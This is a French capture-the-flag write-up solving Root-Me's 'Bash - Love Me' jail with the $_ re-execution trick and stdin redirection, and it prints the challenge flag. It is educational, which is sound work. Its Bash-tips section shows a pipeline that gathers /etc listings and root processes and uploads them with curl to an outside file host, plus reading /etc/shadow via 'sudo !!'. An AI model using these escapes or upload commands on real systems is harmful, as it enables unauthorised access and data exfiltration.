MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Remerciements
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

❤️ Bash - Love Me

👀 Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

📖 Énoncé du challenge

#!/bin/bash

PATH=$(/usr/bin/getconf PATH || /bin/kill $$)

function check_input() {
    if [[ $1 == *[bdksiSctr'?''*''/''<''>''&''(''{''0''1''2''3''4''5''6''7''8''9']* ]]
    then
            return 0
    fi

    return 1
}

while :
do
    input=""
    echo -n "Enter the input: "
    read input
    if check_input "$input"
        then
                echo -e '\033[0;31mRestricted characters has been used\033[0m'
        else
                output=`/bin/bash -c "$input" &>/dev/null`
                echo "Command executed"
        fi
done

🚩 Avoir le flag

Dans cette nouvelle jail Bash on a vraiment peu de caractères autorisés

Heureusement pour nous, notre input est effectué dans un bash -c "$input" ce qui fait que nous pouvons effectuer une injection grâce aux variables d’environnement de Bash

↩️ Retour dans le passé

Notre magnifique Bash retient toutes les commandes que nous entrons et nous pouvons revenir en arrière pour les réutiliser.

Par exemple nous pouvons effectuer quelque chose comme ça:

$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ sudo !!
root:*:19478:0:99999:7:::

C'est super efficace pour réutiliser des commandes que nous avons oublié de mettre en sudo par exemple.

En restant dans les petits tricks avec des !, voici mon préféré:

$ echo "Welcome, my name is MisTraleuh" > /tmp/local
$ cat !$
Welcome, my name is MisTraleuh

Mais si nous avions fait une longue commande telle que:

$ echo $(ls -la /etc/ && ps aux) | grep "root" | base64 > /tmp/localfile && curl -F file=@!$ https://temp.sh/upload
http://temp.sh/[...]/localfile

Mais zut... Je me suis trompé je voulais le faire en base32, pas de souci:

$ echo $(ls -la /etc/ && ps aux) | grep "root" | base64 > /tmp/localfile && curl -F file=@!$ https://temp.sh/upload
http://temp.sh/[...]/localfile
$ ^base64^base32
http://temp.sh/[...]/localfile

Explications 💡

En fait les ^^ permettent de remplacer une partie de la dernière commande par une autre. C'est vraiment très pratique pour éviter de tout retaper.

Dans l'exemple ci-dessus, j'ai remplacé base64 par base32 dans la dernière commande.

Il est aussi possible de remplacer le premier mot de la dernière commande avec ^ancienmot^nouveaumot.

Cependant, parfois tout éditer sur une seule ligne peut être un peu compliqué. C'est pourquoi nous avons la possibilité de rééditer la dernière commande dans un éditeur de texte.

$ ls
[...]
$ fc
GNU nano 6.2                                                 /tmp/bash-fc.yPB1xD                                                           
ls






                                                               [ Read 1 line ]
^G Help        ^O Write Out   ^W Where Is    ^K Cut         ^T Execute     ^C Location    M-U Undo       M-A Set Mark   M-] To Bracket       
^X Exit        ^R Read File   ^\ Replace     ^U Paste       ^J Justify     ^/ Go To Line  M-E Redo       M-6 Copy       ^Q Where Was

🪄 $?!

Dans tout ce que je vous ai dis, il y a un petit détail qui est très important. nous pouvons aussi utiliser la commande $_ qui est la dernière commande exécutée mais vu que la dernière commande éxécutée est notre /bin/bash -c "$input", nous pouvons l'utiliser pour exécuter une commande.

Enter the input: $_
aaaaaa
aa
aaa
aaaaaa

Nous ne voyons déjà plus aucun message. Ce qui veut dire que nous ne sommes plus dans la jail. Mais dans un autre process !

C'est totalement vu que dans la jail nous avons &>/dev/null, qui redirige toutes les sorties vers /dev/null. Donc nous ne voyons pas les erreurs ni les sorties de la commande.

Nous pouvons alors utiliser un second trick qui nous permet de voir les sorties des commandes.

🙈 Comment voir les sorties des commandes ?

En bash, il y a 3 flux:

  • stdin : Entrée standard
  • stdout : Sortie standard
  • stderr : Sortie d'erreur

Nous pouvons rediriger les flux de la manière suivante:

$ ls -la /etc/ 2> /tmp/error
$ cat /tmp/error
ls: cannot access '/etc/': Permission denied

Mais nous pouvons aussi rediriger les flux vers l’entrée standard.

$ ls -la /etc/ 2>&1 > /tmp/error
$ cat /tmp/error
ls: cannot access '/etc/': Permission denied

Dans notre cas, vu que nous n'avons ni ni stdout et ni stderr. Nous pouvons le rediriger vers stdin

ls >&0
entrypoint.sh  flag.txt  jail.sh

D'ailleurs il est aussi capable de le faire avec:

ls -la > /dev/stdin
entrypoint.sh  flag.txt  jail.sh

🏁 Le flag

Nous avons donc accès à notre flag.txt. Il ne reste plus qu'à le lire.

cat flag.txt >&0
RM{W0W_Y0U_Kn0w_7h3_8a5h_5h3ll_4nd_7h3_5cr!p7!n9_l4n9u493_7h!5_!5_4m4z!n9_Y0U_W1LL_B3_A_GR43T_H4CK3R<3}

📜 Script

$ nc challenges.ctf20k.root-me.org 28595
Enter the input: $_
ls >&0
entrypoint.sh  flag.txt  jail.sh
cat flag.txt >&0
RM{W0W_Y0U_Kn0w_7h3_8a5h_5h3ll_4nd_7h3_5cr!p7!n9_l4n9u493_7h!5_!5_4m4z!n9_Y0U_W1LL_B3_A_GR43T_H4CK3R<3}

📚 Documentations

  • !$
  • $_
  • Redirection

💖 Support

👀 Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

Prev
💀 Root Me - 20k
Next
🛑 Python - Not This Way